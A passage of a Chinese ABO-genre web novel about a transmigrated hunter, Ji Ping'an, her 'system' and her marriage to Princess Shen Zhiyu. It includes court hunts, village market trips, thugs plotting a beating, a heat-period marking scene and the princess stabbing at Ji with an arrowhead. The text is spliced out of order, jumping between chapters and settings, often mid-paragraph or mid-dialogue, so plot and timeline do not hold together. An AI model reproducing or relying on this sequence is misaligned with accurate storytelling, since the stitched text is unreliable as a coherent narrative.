沈之虞看了眼季平安,才道:“不用麻烦了,我自己可以。” 季平安虽然喝醉了,但却格外听沈之虞的话,让怎么走就怎么走。 孟枝这才放下心,“那你们路上小心。” 沈之虞嗯了声,和岁岁一起带着人出去。 等回到府里后,沈之虞将人送回房间。 她问道:“要不要喝水?” 醉掉的季平安反应很慢,闻言顿了片刻,才点头道:“要。” 沈之虞嗯了声,准备去帮人倒水。 只是要去拿杯子的时候,才发现她的衣袖还被人拉着。 沈之虞垂眸,还没有开口,便听到季平安的声音:“殿下。” “怎么了。” “你会有喜欢的人吗?” 第 102 章 第 102 章 从孟水山家里吃完饭就是下午了,回到公主府的时间也不早。 季平安再醒过来的时候,已经睡到了第二天。 她闭上眼睛揉了揉自己的额头,醉后的头疼也少了些。 人慢慢清醒过来,昨天的事情也慢慢浮现在脑海中,季平安按脑袋的手也顿住。 “殿下,你会有喜欢的人吗?” 她竟然在喝醉的时候,直接就把这句话问出来了?! 季平安想到这件事的时候,心都停了一瞬。 她不是个醉酒就断片的人,但再往后回忆,她却怎么也想不起来沈之虞的回答了。 季平安在脑海中叫了声:“系统?” 系统出来,道:“宿主,任务目标把喝醉的你带到房间里面后,我就把屏蔽开启了。” 所以它也不知道沈之虞的答案。 季平安:“……” 她抿了抿唇,决定还是先去找沈之虞,看看对方的态度。 只要自己没直接把“我喜欢你”这四个字说出来,那一切都还能有补救的机会。 昨晚睡得早,今天也就没有像前几次一样,直接睡到日上三竿。 太阳还没有升起来,天还蒙蒙亮着,打开房门还能感觉到清晨的寒气。 到了十一月,温度下降的也快了许多。 府里的人看到她,道:“驸马。” 季平安点头,问道:“殿下起了吗?” 时间还早,就是再着急也不至于在沈之虞睡觉的时候找对方。 “起了”,府里的人道:“虞将军也回来了。” 季平安顿了一下,也注意到了院子里的不同,不少人看着都很忙碌。 虞将军,她在心里念了一遍这三个字。 除了沈之虞的小姑,应该也没有其他人了。 季平安问道:“虞将军什么时候回来的?” 府里的人回道:“刚到不久,现在和殿下在书房。” 季平安点头:“我知道了。” 不管怎么说,她作为驸马,对方的小姨回来了,肯定要过去看看- 第二天,狩猎才算得上正式开始,不少人醒来后便骑着马去了林子,连皇帝都说想狩猎试试。 虽然不知道皇帝哪里来的兴致,但季平安作为夏苗的负责人肯定要在。 其余的皇子皇女自然也跟了过来,连怕热的沈熙都没耽搁时间。 季平安让人带着皇帝去了北边的林子,不会太过陡峭,也不会让皇帝感觉到敷衍。 之前北边的林子里也有陷阱,而且很隐蔽,还是她当时借助[读心术]从关舫那里知道的。 虽然不知道对方想害的是谁,但都已经被及时处理了。 而且林子里面还放着她提前准备好的猎物,表面上没有伤,但是速度会比正常的猎物慢上些,威胁性不高。 皇帝骑着马走在前面,其余人在他的旁边跟着,手上也都拿着弓。 明贞帝问道:“驸马可会射箭?”季平安微微挑了挑眉头,看来不能重复进行翻倍。 她昨晚就想过,哪怕已经限制了每日只能使用一次[x2],但是五百文翻倍一次就是一千文,翻倍两次就是两千文,翻倍三次就是四千文…… 重复使用[x2]后,并不是简简单单的变为两倍,而是指数级的增长! 那样不出一个月,家里的银钱都会把屋子堆满了。 今天看到机会刷新后,季平安就想要试试有没有这个可能,没有想到被系统防住了。 季平安道:“系统,你们的反bug做的还挺好的。” 系统:“……” 若是没有反bug,哪怕它现在是机械虚体,也要疯狂冒冷汗了。 穿好衣服出了门,季平安才看到沈之虞已经在院子里面了,正在洗着脸。 早晨的空气格外清新,还带着些微凉的雾,模糊了远山的轮廓,看起来风景格外好。 “今天起的这么早?”季平安问道。 沈之虞道:“有点睡不着。” 她刚洗完脸,脸侧的发丝还带着些细微的水滴,头发上插着季平安给她买的那支素簪子。 季平安给她指了指靠近耳边的位置,“这里还有些水。” 抬手的时候,她指骨上被咬出来的痕迹也格外清晰。 伤不重,但手指上的皮肤确实很容易留下痕迹,稍微泛点红色紫色,就会很明显。 过了一天一晚,原来的咬痕在消散,但颜色却变得更深。 沈之虞视线看了片刻后,移开视线拿着布巾将耳边的水擦干净,“你手上没有继续抹药?” “抹药?”季平安愣了下,才反应过来沈之虞说的是什么。 她低头看了看自己食指上的牙印,还用大拇指摩挲了下那个明显的牙印,忍不住笑道:“你说的是这个?之前不是抹过药了吗?” 在季平安的观念里,被咬一下都算不上伤,更不用涂药,之前家里的猫换牙期就爱磨她的手指头。 如果不是沈之虞当时要她抹药,她完全不会把这件事放在心上。 说完,她好奇问道:“阿九,你好像很关心我手上的伤?” 明明她之前背上的伤更严重,也不见沈之虞这样。 沈之虞语气很平淡的道,“伤是我造成的,多问两句很正常。” 季平安反倒笑了,“是吗?我可不觉得是这个原因。” 她还没有见过,有人一边愧疚,一边还准备杀了对方的。 沈之虞看她:“那你觉得是什么原因?”岁岁没来过县城,陌生的地方总让她心里紧张,尤其是看到街上这么多人,整个人都贴在季平安的腿边,却又好奇地探出小脑袋,看向周围的小摊。 怕人走丢,季平安便一直拉着她的手,转过头想和沈之虞说话,便见到对方的目光落在旁边。 她顺着看过去,是在街上表演的杂戏团,被路人围了一圈,现在正在表演喷火。 “喜欢看?”季平安也站到了她的旁边,顺带把岁岁也抱起来,也能清楚地看到。 沈之虞的眼眸中映着那团喷出的火苗,她道:“之前没看过。” 应该说,无论是表演的杂戏团还是路边叫卖的小摊,沈之虞都能觉出几分新奇来,仿佛这对她来说是完全陌生的事物。 “那我们先看会儿再去买衣服。” 季平安稍微一联想,就明白过来为什么沈之虞喜欢看这些。 她是公主,再加上坤泽的身份,肯定没有出过宫,而皇宫里面也不可能让这些民间的俗玩意儿进去,沈之虞没见到过也是正常的。 看了会儿,被抱着的岁岁想下来,和她道:“阿姐,抱着我重。” “不重,放下你看不到。”季平安得到[力量点补充]后,抱个小孩不在话下,“阿姐现在力气大,抱阿九都行。” 沈之虞听到季平安不正经的话,看了她一眼:“小心别抽筋。” 季平安忽略里她语气里的冷意,故意笑着道:“不会抽筋的,阿九真关心我。” 沈之虞转过头不看她了。 “喷火和吞刀都给大家表演完了,各位看官可不要眨眼睛,接下来是飞丸跳剑。” 话音落下,台上的演员便将手中的几把开刃的剑和圆珠弹丸同时抛到空中,让人忍不住抬头,看着这些东西会落到哪里。 岁岁也看得认真,眼睛跟着空中的弹丸转,心都跟着提了起来,直到看到演员将每把剑都接住,弹丸也分别稳稳地落在脚、背、肩上,才小声地惊呼了一声。 路人也是类似的反应,纷纷鼓起掌来开始喝彩,杂戏团也顺着这个空隙,拿了个小碗到路人的面前,觉得精彩就能够打赏。 季平安本想掏出三文钱来,谁知便看到沈之虞从衣袖里拿出个碎银,“叮咚”落在了碗中。 杂戏团的人连连道:“谢谢姑娘,谢谢姑娘!” 见人走了,季平安笑着看向她:“这么大方?” 不愧是公主,赏起来钱的时候,哪怕身上穿着的衣服还带着破口,也不影响动作格外潇洒漂亮。 “刚才给的很多?”沈之虞问她。 她是真的不知道碎银值多少钱,看到人过来,便从衣袖里随便拿了一块。 季平安给她解释道:“大概能买十几个素包子。” 沈之虞从这个意思推测出来,应该是给的多了,“有关系吗?” “没关系。”季平安道。 “这钱本来就是给你花的,按照你的心意来就行,若是还需要钱便和我说。” 沈之虞看向她,问道:“那你把钱都给我?” 她哪怕对基本的物价不是很清楚,但也知道如果钱足够,她就能够离开季平安。 这个时候的季平安格外敏锐,咳了声:“……这个,还是可以商量商量的。” 沈之虞脸上都是了然的神色,转身朝着布庄的位置走,季平安急忙跟上去。 哪怕是抱着岁岁,她小跑了两步也就跟上,一起进了布庄。 布庄里面的人不少,见到她们进来,老板便道:“这里都是我们新上的布匹,颜色也多,粗麻七十五文一匹,细麻九十五文一匹,可以看看。” 布庄里的细麻布卖的最好,一方面是价格便宜,另一方面也比粗麻布穿起来舒服,村里的人都爱买。 季平安却没有看老板说的布匹,直接问道:“老板,有没有棉布,最好是成衣。” “棉布也有,都是新棉花拉出来的新布”,店铺老板听到这话,比刚才都要热情不少,“是给谁买的,要几套成衣?” “我们三个人都买,各来三套成衣吧。”季平安道。 大生意啊!店铺老板脸上的笑更真诚了,“行嘞,那我先给你们量量尺寸,小孩先来吧。” 毕竟是日常穿的衣服,尺寸也不用太过精准,隔着衣服量个大概就行。 因此老板也没再设隔间,直接在店里面量的,岁岁抬眼就能看到季平安,也不会害怕。 她们等待的时候,店里也有不少人在看着布匹,绸缎布匹前的人也不少。 季平安在店里找了个位置坐下,也朝沈之虞招手:“岁岁量完你便去,三套如果不够就再多买些。” 沈之虞嗯了声,也听着店里人说的话。 “话说,你前日见到县令夫人了没有?怎地身上穿着麻布?” “你没有听说吗?七公主薨了,丧期一月,县令和县令夫人都要披麻。” 东和县离京城并不算太远,但也有数百里地,消息从京城传递过来,也要半个月,因此现在东和县的人才得知此事。 “你从哪儿得到的消息这么灵通,还能知道京城里和七公主的事?” “我那老舅母的侄子的亲家,家里有个表妹的哥哥在京城里大户人家做小厮,还说皇上命人在长生殿里给公主点了数千盏灯呢。” “连长生殿点灯,这你都能知道?” “那可不,她哥哥可是大户人家的小厮,得出来的消息还能有假?” “当然是……”季平安拉长了语调,顿了会儿才道:“你担心其他人看到,我们妻妻的关系很好?” 关系好到,连她的手指上,阿九都要留下印记。 当然,这句话还没有说出来,沈之虞便转身回了屋子,不再想和乾元说话。 季平安看着她背影,忍不住笑了下,她果然猜对了。 家里的东西不多,洗脸盆也只有一个,她把盆里的水倒掉洗完了脸,洗到一半,她便又拿起来旁边放的胰子,兰花味道还是一如既往的好闻。 早饭季平安简单的煮了些粥,她们一起吃完后,季平安拿上些饼,背上自己的弓箭,准备去打打雁子。 走到院子里面,她和两人道:“中午你们自己做点饭就好,不用等我。” 岁岁听话地点点头,沈之虞也点了下头,代表她知道了,会看好岁岁。 这时候早晨从地里回来的富贵娘,路过她们家里院子的时候,刚好听到了季平安的话。 “平安,这是又要上山?” 富贵娘的声音大,哪怕在篱笆外面说话,也像是在人的耳边说,听得清清楚楚。 季平安转过头,稍微提高了点声音回道:“对,准备去山上看看。” 富贵娘笑了下,打趣道:“你们妻妻关系也是好,上个山都在院子里面说上半天话,要是你叔,现在估计都到山上了。” “射箭还是会的,只是学艺不精。”季平安回道。 她先前是猎户,会射箭这件事倒是没有什么好奇怪的。 明贞帝笑着道:“朕看驸马上次的投壶便不错,想来射箭也不错。” 投壶本就是从射箭变化出来的娱乐游戏,两者之间也不是非此即彼的关系。 季平安谦虚道:“那儿臣便多向殿下、以及各位皇兄皇姐请教。” 大公主沈熙闻言,玩笑道:“我可教不了驸马,还是得让我们七妹来。” “昨日驸马可是亲口和我说过,她喜欢黏着七妹的。” 这话出来,跟着的人不少都笑出了声,连皇帝脸上的笑都大了几分。 “怎么看着大家都不相信的样子”,沈熙挑了下眉,看向季平安道:“驸马,你可有说过这话?” 季平安没应,只低头骑着马到了沈之虞身边,离沈熙远了些。 一句话没有承认,却更印证了沈熙刚才的话,在场的人笑的更大声了些。 明贞帝还难得道了一句:“你倒是离不开小七。” 五皇子沈弘星也跟在旁边,她们说话的时候,他虽然没开口,但也一直在听着。 季平安无论是对着谁,都能够不卑不亢,说话进退有度,还能让喜怒无常的皇帝笑出来,本事倒是不小。 对方真的只是个普普通通的猎户?县城。 几个时辰前。回到家,季平安便背了背篓,去县城里把打到的猎物卖掉,路上她还把系统存储空间里面的狐狸拿了出来。 到了县城里边,肉铺老板先看到了她背篓里的这只活狐狸:“这身皮毛可值不少钱。” 狐狸毛比起其他的动物毛,更加柔软细腻,保暖性也好,加上狐狸比兔子野鸡也难猎些。 季平安猎到的这只狐狸,整体是红棕色,并且狐狸背上的红色也很端正大气,品相很好。 “那可是,老板你收不收?”季平安把其他的猎物也一起拿出来。 “一两半银子。”肉铺老板开了价。 季平安倒是没有想到,一身狐狸毛竟然比她猎到的毒蛇还要贵。 不过细想下也合理,她这个狐狸的品相好,若是能有路子卖到郡府,做成狐狸围脖,价格翻个十几倍都不成问题。 “二两银子。”季平安讲价。 肉铺老板犹豫着没说话,摸着狐狸毛的手却没停过。 季平安趁势道:“这种品相的狐狸毛可是可遇不可求,就算我再想猎到一只,那也不容易。” “我也是想着和老板你约定了,才先拿给你看看,别家我是问都没有问。” 肉铺老板咬咬牙:“二两就二两。” 季平安喜笑颜开,“那行,再把剩下的猎物也称了。” 野兔还是按着上次定的十五文一斤,斑鸠和竹鼠这种比较难猎的,是二十文一斤,加起来一共得了二百三十九文。 季平安挨个数过,确定没少才揣着二两多钱出了肉铺摊子。 她先是去买了家里快没有的盐和一些调味品,比如八角、桂皮、花椒、老姜之类的,之后炖肉也用的上。 然后又去买了五个碗,回去就能把有豁口的碗换掉,只买了这些东西,就已经用了两百文。 好在这次猎了狐狸,要不然季平安还担心这次带的钱不够。 买完调味品之后,她看到路边有农户人家自己扯出来的麦芽糖,她买了五块,然后又去买了些皂荚和胰子。 胰子和后世的香皂差不多,不过里面有油脂,价格也更贵些,小小一块便要十二文,都要赶上猪肉的价格了。 皂荚是要磨成粉用,更便宜,但比胰子也要粗糙些。 季平安想到偶然瞥见过的那抹白皙的皮肤,觉得还是胰子更适合对方。 路过铁匠铺的时候,季平安看到了里面放着的菜刀和各种农具。 原主把家里的田地都卖了出去,季平安也不准备再买地种地,毕竟从开始播种再到收割,一年就过去了,也挣不下几个钱,比不上她现在的打猎。 镰刀、锄头之类的倒是不用买,但斧头和菜刀得有一把。 季平安在心里盘算着,再等等吧,等沈之虞的好感度再涨一些,她就过来把东西买回家。 买完这些东西后,她细想也没有什么急需的,便朝着大柳村的方向回家。 因此也没有注意到,她买完胰子,从杂货铺出来后,身后便多了一道视线。 巩荣和王二、郝大被打的不轻,回到家里就躺在床上歇了两天。 这两天内,他们的酒瘾早就犯了,因此脚刚能下地就先跑去酒馆,一人点了两壶酒。 巩荣阴沉着脸:“季大既然敢打我们,就要付出代价,要不然别人还以为我们是好欺负的。” 哪怕他们是在大柳村里面被打的,但一传十十传百,县城里不少人都知道他们被打了。 混混们本来就是欺软怕硬,势力强、拳头硬的他们不去欺负,只爱找比自己弱的人欺负。 巩荣认识官府的人,目前还人敢过来欺负他,但背后免不了说些闲话。 说什么她连季平安那种废物都打不过,也配在东和县混。 巩荣当时很想说一句,就算他们站在季平安面前,也不一定能打得过对方。 但这话反而又像是在夸季平安,只能狠狠的甩了下袖子,当做什么都没有听到。 郝大帮他续了杯酒,也接话道:“是啊,哪有人昨天还是个酒鬼,今天就一点酒都不沾了,分明就是看不起我们几个。” “上次也就是她突然动手,咱们都没反应过来,要不然她能打得过咱们三个人里面的谁?谁都打不过啊!” 王二也闷了一口酒,他之前算是四个人里面打架最厉害的,力气也最大。 结果上次,还没有到季平安的跟前,就被她一胳膊摔在了地上。 王二躺着的这几天,脑子里全都是当时的场景,以及该如何报复回来。 “你说得对,咱们找个机会,最好多叫点人,也让季大知道我们的厉害!” 喝了酒,他们也上了头,开始吵闹该怎么打季平安。 “先让她摔个跟头,最好能躺地上起不来,胳膊也给她折了……” “她不是家里有坤泽吗?把她打的鼻青脸肿的,看她家里的那个坤泽害不害怕哈哈哈……” 巩荣听得津津有味,视线不经意往酒馆外面看了眼,谁料就看到了个熟悉的背影。 “闭嘴!” 郝大还没有反应过来,问道:“老大,怎么了?” 巩荣指了指杂货铺前面的那个背影:“你们看那个人是谁?” “季大?!” “她还敢来县城?” “我这就让她好看!” 郝大和王二一句接一句的,吵得巩荣心烦,“那你们现在就出去找人打一架。” 两人顿时安静了下来,“老大……这……” “我们这胳膊还没有好全乎呢,现在去打人,肯定发挥不出来我们的实力……” 巩荣也不是真的想让他们现在就打人,“你们看看季大是从什么地方出来的?” “杂货铺啊,还拎挺多东西的……”郝大还没有反应过来。 王二倒是比她要聪明一点,“不对啊,季大之前喝酒的钱,不都是典当家里的东西换出来的,哪还有钱再买其他的东西?” 难不成是靠着上次,从他们身上摸出来的钱? 但这话王二不敢说,毕竟巩荣还在身边。 巩荣眯了眯眼,“我也想知道,你们两个去查查,看看季大最近在做什么。” 打了他,还想当什么事情都没有发生过,哪有这么容易的事? 皇帝的话不能不答,季平安只能道:“承蒙殿下厚爱。” 跟在她旁边的沈之虞,也被迫感受了不少人的视线。 往山林里走了没一会儿,就见到了远处有只麋鹿,正安然地低着脑袋在地上寻觅食物。 皇帝举起手上的弓,将箭搭在弦上,众人也都纷纷噤声,生怕惊动了猎物让皇帝不喜。 片刻后,箭离开弦,射在了麋鹿的右后腿上。 眼看麋鹿还有力气逃跑,跟从的侍卫连忙将麋鹿抓住,随后呈在了皇上的面前。 明贞帝放下弓,叹了口气道:“朕还是年纪大了啊,比不上从前。” 沈弘星接话道:“林子里的遮蔽物这么多,父皇还是一箭便能够射中眼前的鹿,足以说明父皇如今的射艺更精湛了。” 身后跟着的大臣也附和道:“五殿下说得对,陛下已经胜过臣等许多了。” “若是臣,必然会让这只鹿逃脱了。” 用最快的速度回到府上后,季平安直接把人抱到了自己的房间。 熟悉的向日葵信香将她身上陌生的信香覆盖掉,让人安心不少。 沈之虞的眼尾也多了抹红色,兰花的香气也更浓了些。 季平安看到,动了下指尖,轻声问道:“是雨露期又到了吗?” 沈之虞的长睫动了下,嗯了一声,鼻音很重。 上次的雨露期还是在南三郡的时候,回到京城后便没有过。 季平安垂眸看过去,沈之虞的额边已经出了细汗,眉头微微皱着,应该是腺体很疼。 也是现在,季平安才意识到,有个问题一直被自己忽略了,并且现在都没想到答案。 在她喜欢对方的情况下,标记算是图谋不轨吗? 沈之虞在她的身边,自然能感觉到她的僵硬和犹豫。 她抬了下眸,看向乾元,心却沉了片刻。 “季平安,你不愿意,是吗?” 第 103 章 第 103 章 雨露期让人不好受,沈之虞的气息相比平时,也多了几分起伏。 甚至让季平安有种,对方是在难过的错觉。 她张了张唇,声音有些低:“殿下……” 不是“不愿”,而是不能。 尤其是现在,看着光风霁月,将信任交付于她的沈之虞,心中的愧疚和纠结也更甚。 沈之虞的长睫动了下,轻声打断她道:“季平安,算了。” 刚才对方的犹豫不是错觉,哪怕没有明确的说出来,但是答案显而易见。 季平安的脑海里还在纠结,闻言还没有反应过来,下意识道:“什么算了?” 可能是腺体接触到的陌生信香太浓,沈之虞腺体受到的刺激也大,比以往都要疼。 她蜷了下指尖,稳住自己的声音道:“不用标记了。” 这句话出来,季平安本就混乱的思绪更为混乱,“那要怎么办?” 沈之虞垂眸道:“用抑制丸便好。” 若是抑制丸仍然失效,硬捱过去也可以。 听到抑制丸三个字,季平安立刻道:“不行!” 她好不容易才把人的身体慢慢养起来,今天若是吃了抑制丸,那也前功尽弃了。 季平安看着怀里人抿紧的唇瓣,道:“殿下的身体,现在还不能吃抑制丸。” 按照当时太医的话,两年左右才能将身体完全调理好。 沈之虞的呼吸已经有些灼热,但她还是道:“你不愿。” 既然不愿,她也不会勉强对方。 季平安否认道:“殿下,我没有。” 说出来这句话的时候,她也彻底放下了纠结。 不管自己算不算“图谋不轨”,都没有对方的身体重要。 向日葵花的信香慢慢被释放出来,安抚着敏感的腺体。 季平安帮人擦了擦额边的细汗,动作很轻,然后先将自己的衣领拉开了些。 这还是之前标记培养出来的习惯,对方要脱多少,她就要脱多少。 她将声音放轻些,道:“殿下,疼的话告诉我。” 沈之虞没有应,可能是太过难受,也可能是意识已经被灼热代替。 季平安的指腹在她的腺体上轻轻揉着,想要让人尽量放松下来。 过了片刻,沈之虞忍不住闷哼了一声。 她略带滚烫的呼吸落在了季平安的锁骨处,声音很轻地道:“咬吧。” 季平安的心里本就有愧疚,自然是凡事都听怀里人的话。 向日葵花的信香慢慢和兰花的香气交融在一起,漫开在狭小的床间。 不知道什么时候,沈之虞攥紧了一片衣角,漂亮的眼眸闭着。 明明还是同样的标记,但今天的似乎有些疼- 标记完之后,沈之虞的生命值便开始慢慢上涨,现在已经突破了60,达到了合格线。 只是上一次季平安看好感度,还是25,没有想到现在又涨了十点。 抽卡次数已经到了25次,她等到有时间可以再抽抽卡,看看能有什么好东西。 系统道:“昨晚。” 季平安想到昨晚她做的各种事情,实在猜不出来对方会加好感度的原因。 照她看来,不扣除好感度都算是沈之虞善良了。 季平安只能寄希望于系统,问道:“你知道好感度为什么会增加吗?” 系统:“宿主,这个我不知道,当时任务目标加好感度的时候,我被屏蔽了。” 季平安:“屏蔽了?”脑海中系统的声音响起,与此同时季平安眼疾手快,牢牢握住沈之虞的手腕,无法再往前一分一毫。 也是现在,季平安才看清楚沈之虞手上拿的是什么。 她换了铁箭、确认对方不会轻易想着杀她后,便将原来用过的木箭随便放在了院子角落里。 但在季平安不在家里的时候,沈之虞把木箭的箭柄折断,只留下最锋利的箭头,擦干净上面的血后,便一直放在自己的枕头下面,防止意外发生。 哪怕她意识到现在的季平安或许真的发生了变化,但也不可能真的不做任何准备。 箭很锋利,季平安甚至还记得当时眼前的箭,是如何穿透猎物的皮肉,将之牢牢钉在原地的。 她看着眼前的人,明明脸上眼眸还闭着,难耐痛苦的模样,手腕却好像要用尽最后一丝力气,紧紧地握着手中的箭朝前面刺。 季平安心里的生气、欣赏、担忧、害怕各种情绪交织在一起,太过复杂如同缠在一起的线团。 明明沈之虞是排斥她的,但现在幽兰的香气已经将她浑身染了个遍。 季平安到底力气大,哪怕沈之虞抵抗的情绪很足,她还是没有半分犹豫,紧紧攥着沈之虞的手腕,把她的手指一根一根掰开。 五根手指尽数被掰开,沈之虞修长玉白的指骨上也变得有些红,腕骨已经青紫了。 锋利的箭头掉落在她们中间,季平安迅速地将箭头扔到屋子里对角线的位置。 沈之虞的皮肤细,只有指骨关节处有层薄茧,应该是练箭留下的,掰手指的时候,季平安却没有保留力气,动作也丝毫不温柔。 可能是太过疼痛,紧紧闭着眼睛的沈之虞从喉腔里溢出了很轻的一声闷哼声,整个人也清醒了些。 季平安听到,先折身拿着屋里的冷水打湿了布巾,然后将整个人都抱到了自己的怀里。 她将湿掉的布巾放到了沈之虞的额头上降温,看到对方眸眼轻动后,哑着声音问道:“现在好点了吗?” 季平安知道沈之虞有过无数次想杀了她的想法,真正动手的有两次,一次是在山上,另外一次便是刚才,箭头刺向的方向是她的太阳穴,一击毙命之处。 她不是圣人,有人两次威胁到她的命,她自然会生气,甚至也有一刻想过,是不是也应该让沈之虞体会体会这种感觉。 但是她也同时欣赏沈之虞,能够在无数困难的情况下,都始终找到破局之法。 哪怕是在意识极度模糊的雨露期,都能够凭借本能给接近她的人造成危险,甚至触发了系统的[危险标识提醒]。 这样的人,生来就是能够成就大业的人。 沈之虞刚才刺箭的时候,已经将身体的所有力气全部都耗尽了,整个人像是被汗浸透一样。 唯有额头的那抹冰凉,让她短暂地找回了意识,她咬了下舌尖,声音甚至都带着些破碎地道:“……季平安?” “嗯,是我。”季平安感受着浓郁的幽兰香气,又掐了下自己的指腹,才道:“现在才认出来我?” 合着刚才刺箭的时候,沈之虞根本都没有认出来她,只是对每一个靠近她的人保持警惕。 想到这里,她心里生气地情绪也少了许多。 不仅是因为,她现在知道沈之虞还是说话算话的,而且坤泽的雨露期警惕心确实应该高一些。 原主试图强制标记对方的时候,沈之虞哪怕虚弱无力、身体有伤,都没有让原主得逞。 但若是原主是在雨露期捡到的沈之虞,那会发生什么,季平安都不敢细想。 沈之虞没有力气,只能倚靠在季平安的肩头,两人的发丝交缠,连呼吸都清晰可闻。 她身体的灼热感依然没有消失,血液都已经变得滚烫,说话间的气息断断续续,但季平安还是能隐隐约约地分辨出来对方说的是什么。 沈之虞说:“……季平安……你走……” 此刻的她没有力气,无论乾元想要对她做什么,她都没有办法阻止。 沈之虞只能赌她这些时日的观察没有错,赌季平安自己会主动离开。 但季平安没有,她将怀中的人抱得更紧了些,额头上的布巾被她重新过了遍冷水。 如今沈之虞没有了平时的冷静淡漠,也没有心思深沉、隐忍谋划的狠厉,而是季平安没有见过的另一面,反而带了些脆弱和无力。 像是在雨中的流浪猫,明明自己瘦骨嶙峋、伤痕累累,却还是呲着牙试图把人吓跑。 她问道:“我离开,难道要留你一个人在这里?” “阿九,你是不是不想要自己的命了?” 雨露期最短也要持续两三天,在这期间,坤泽如果没有抑制丸,也没有乾元的标记,身体便会一直发热下去,腺体也会持续地分泌信香。 不仅仅会难受痛苦,更重要的是无法纾解的欲望会将人活活烧死。 沈之虞却已经不再说话,额头抵在季平安的肩颈侧,灼热的气息喷洒在她的皮肤上,发丝蹭着耳边,激起一片痒意。 季平安垂眸看自己怀里的人,轻轻拍了下她的背,柔声道:“稍微忍一会儿,很快就会好了。” 甚至连她也在忍。 向日葵花混着太阳的味道在屋子里面蔓延,甚至比幽兰寒雪的味道还有霸道和浓烈,融入到屋子里的每一寸空间,也沾染到她们的皮肤上。 季平安说的忍,自然不是硬生生地捱过去,而是靠抑制丸。 村里只有一个庄大夫,但季平安上次就知道,她那里大部分都是治疗跌打损伤的草药,最多还有个治疗风寒发热的,再多却没有了。 至于半两银子才能买到的抑制丸更不可能有,村里人也没有人买的。 哪怕夜晚能够去县城药堂里,并且把郎中从床上叫起来给她拿药,但村里往返一趟,便要一两个时辰。 再说,若是家里只留下尚在雨露期的坤泽,和一个十来岁的小孩,万一遇到什么贼人更难预料,季平安完全放不下心。 一个个可能被排除,季平安只能尽量集中自己的注意力,看着系统页面上的信息。 上次抽到的[兑换任意药物一份]还没有用。 系统:“宿主和任务目标有亲密接触的时候,系统检测到会开启屏蔽,保护宿主的隐私。” 系统:“不过宿主也可以放心,屏蔽期间系统的抽卡、兑换等功能都是正常开启的。” 季平安听到“亲密接触”四个字的时候,就忍不住咳了声。 好在系统没有多说多问什么,要不然她今天是真的没有办法镇定了。 洗完澡换上身新衣服,季平安才到沈之虞旁边坐下:“岁岁呢?” 沈之虞道:“给你拿糕点去了。” 知道季平安没有吃早饭,岁岁便主动拉着云棋去了后院,想挑些味道好的糕点,让她在等午饭的时候填填肚子。 季平安笑了下:“改天去街上,看看还有没有好玩的,再给岁岁买回来。” 说完这个,她便主动提起来了昨晚的事情:“殿下,昨天晚上的事情,我真的很抱歉。” 沈之虞道:“没有关系。” 她若是真的介意,季平安可能都见不到今天的太阳,更不会同意对方标记她。 说话的时候,她把手上的玉笛放到旁边,露出冷白如玉的手腕。 只是腕上的那抹红色很碍眼,季平安自然也注意到了。 她指了指道:“那殿下记得抹药。” “还有,若是还有下次,殿下不管我就行,让其他人把抑制丸拿过来就好。” 沈之虞嗯了声,缓声道:“没关系,我……” 她从前雨露期的时候,也咬过对方的指骨,看着比现在的手腕要严重许多。 只是话要说出口的时候,她抿了抿唇,又将余下的话收了回去。 季平安等了等,没听到下面的话,问道:“什么?” 沈之虞:“没什么。”等到晚上,季平安吃完饭,沈之虞还是没有出现。 问了下宫人,才知道对方刚接见完两位官员,饭都没有来得及吃。 季平安让人打包了些饭菜,她自己提着去了书房。 进去的时候,沈之虞还在看着折子。 季平安直接走到她的旁边,凑过去看上面的内容。 沈之虞也没有避讳,甚至还将折子往她那里移了两分。 季平安看完,道:“改革科举的事情?” 沈之虞点头,“虽然已经让吏部的人拟章程了,但反对的人也不少。” 季平安:“正常想要改革,总会损害一些人的利益,有反对的声音也正常。” 说完,她就把折子从沈之虞的手里抽出来。 “不过就算他们再反对,也不能不吃饭。” 云棋见状,和身边的云琴对视一眼,两人都出了书房,守在外面。 前几日两人还在吵架,没想到今天季平安就把人哄好了。 季平安没有注意到书房里的细微差别,她把饭菜拿出来。 “这些我都尝过,味道不错,也不油腻,适合晚上吃。” 沈之虞嗯了声,从她手上接过筷子。 眨眼间,季平安的视线看到些什么,她下意识握住了眼前人的手腕。 这时候,她看的也更清楚,沈之虞的手心全都是细小的伤痕。 “这是怎么回事?” 正常的利器没办法造成这样的伤,更像是人自己掐的。 沈之虞垂眸看过去,蜷了下手心,抽出来自己的腕,道:“没关系。” 季平安不解:“怎么就没关系了,是不是……” “是不是和我有关?” 问这话的时候,她的声音低了些,语气里也带了些愧疚。 沈之虞道:“别多想。” 季平安哦了声,“那就是了。” 沈之虞:“……” 她还没开口,季平安就已经让人拿了药膏过来:“我帮你涂上。” 沈之虞垂眸,将自己的手心张开。 微凉的药膏染上了季平安指腹的温度,轻轻抹在手心后,总带着些痒意。 感知到对方想蜷手的动作,季平安又握紧了些,“稍微忍一下。” 手心的伤是前些天伤的,现在其实已经好的差不多了,因此涂药也没有用多长时间。 涂完后,沈之虞想将手收回来。 但她还没有动作,便见到季平安微微低了些头,然后在她的手心轻轻吻了下。 温热的呼吸喷洒在掌心,痒意也顺着传到心脏。 她屏了屏呼吸,才收回自己的手,问道:“不脏吗?” 上面还有刚抹上的药膏。明贞帝死后,沈之虞也格外忙碌,在公主府和宫里两头跑。 季平安便和虞思冬讨论着武器的改造,时不时的要去一趟田庄那里。 回到公主府后,沈之虞便看到云棋神色间有些匆忙,正快步朝着季平安院子的方向走过去。 沈之虞到她身边,问道:“出什么事情了吗?” 云棋道:“回殿下,驸马的甘霖期来了,让我出来拿抑制丸。” 沈之虞顿了片刻,问道:“什么时候的事情?” 云棋道:“两刻钟多了。” 季平安感觉到身体不舒服的时候,正在回公主府的路上。 车夫知道这件事后,立刻加快了速度。 但到底田庄和公主府有些距离,还是走了两刻钟。 回到房间后,才发现抑制丸上次用完了,季平安便让云棋拿些到房间里来。 沈之虞点头,道:“把抑制丸给我吧,我拿过去。” 云棋自然不会不答应,将包好的抑制丸给了她。 没走几步路,沈之虞便到了房间门口。 门没有锁,她轻轻一推便打开了,也感觉到了里面浓烈的向日葵花信香味道。 关上门走进去,沈之虞也看到了季平安。 人正躺在床上,眼眸微微闭着,脸颊有些绯色,看着不是很清醒。 沈之虞垂眸,往杯子里倒了些温水后,才走到床边。 也是靠近后,她才听到了对方正小声地呓语着。 声音很小,像是说梦话,但房间里很安静,沈之虞还是能够听清楚对方在说些什么。 “不要……我……” “殿下……殿下……” 沈之虞愣了片刻,轻声地回应道:“我在,先把抑制丸吃了?” 